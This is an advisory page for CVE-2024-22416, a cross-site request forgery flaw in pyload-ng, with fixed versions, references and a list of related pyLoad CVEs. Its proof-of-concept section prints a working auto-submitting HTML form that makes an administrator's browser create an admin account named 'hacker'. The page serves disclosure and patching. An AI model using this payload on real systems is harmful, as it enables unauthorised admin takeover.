CVE-2024-22416: Cross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation
Summary The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
Published Jan 19, 2024 · Updated Jun 28, 2026
Affected packages
pyload-ng
- Ecosystem
- PyPI
- Affected
- < 0.5.0b3.dev78
- Fixed in
- 0.5.0b3.dev78
- Check
pip show pyload-ng
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The pyload API allows any API call to be made using GET requests. Since the session cookie is not set to SameSite: strict, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user.
PoC
We host the following HTML file on an attacker-controlled server.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22">
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>If we now trick an administrator into visiting our malicious page at https://attacker.com/CSRF.html, we see that their browser will make a request to /api/add_user/%22hacker%22,%22hacker%22, adding a new administrator to the pyload application. image
The attacker can now authenticate as this newly created administrator user with the username hacker and password hacker. image
Impact
Any API call can be made via a CSRF attack by an unauthenticated user.
Credited to PinkDraconian.
References
- https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fm
- https://nvd.nist.gov/vuln/detail/CVE-2024-22416
- https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3e
- https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fc
- https://github.com/pypa/advisory-database/tree/main/vulns/pyload-ng/PYSEC-2024-17.yaml
- https://github.com/advisories/GHSA-pgpj-v85q-h5fm
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More PyPI vulnerabilities
All PyPI entriesCVE-2026-35459
pyLoad: SSRF filter bypass via HTTP redirect in BaseDownloader (Incomplete fix for CVE-2026-33992)
critical9.3No fixApr 4, 2026CVE-2026-33992
pyLoad: Server-Side Request Forgery via Download Link Submission Enables Cloud Metadata Exfiltration
critical9.3No fixMar 27, 2026CVE-2025-54802
pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)
critical9.8Aug 4, 2025CVE-2025-53890
pyLoad vulnerable to XSS through insecure CAPTCHA
critical9.8Jul 15, 2025CVE-2024-39205
pyload-ng vulnerable to RCE with js2py sandbox escape
critical9.8No fixSep 9, 2024CVE-2024-32880
pyLoad allows upload to arbitrary folder lead to RCE
critical9.1No fixApr 24, 2024
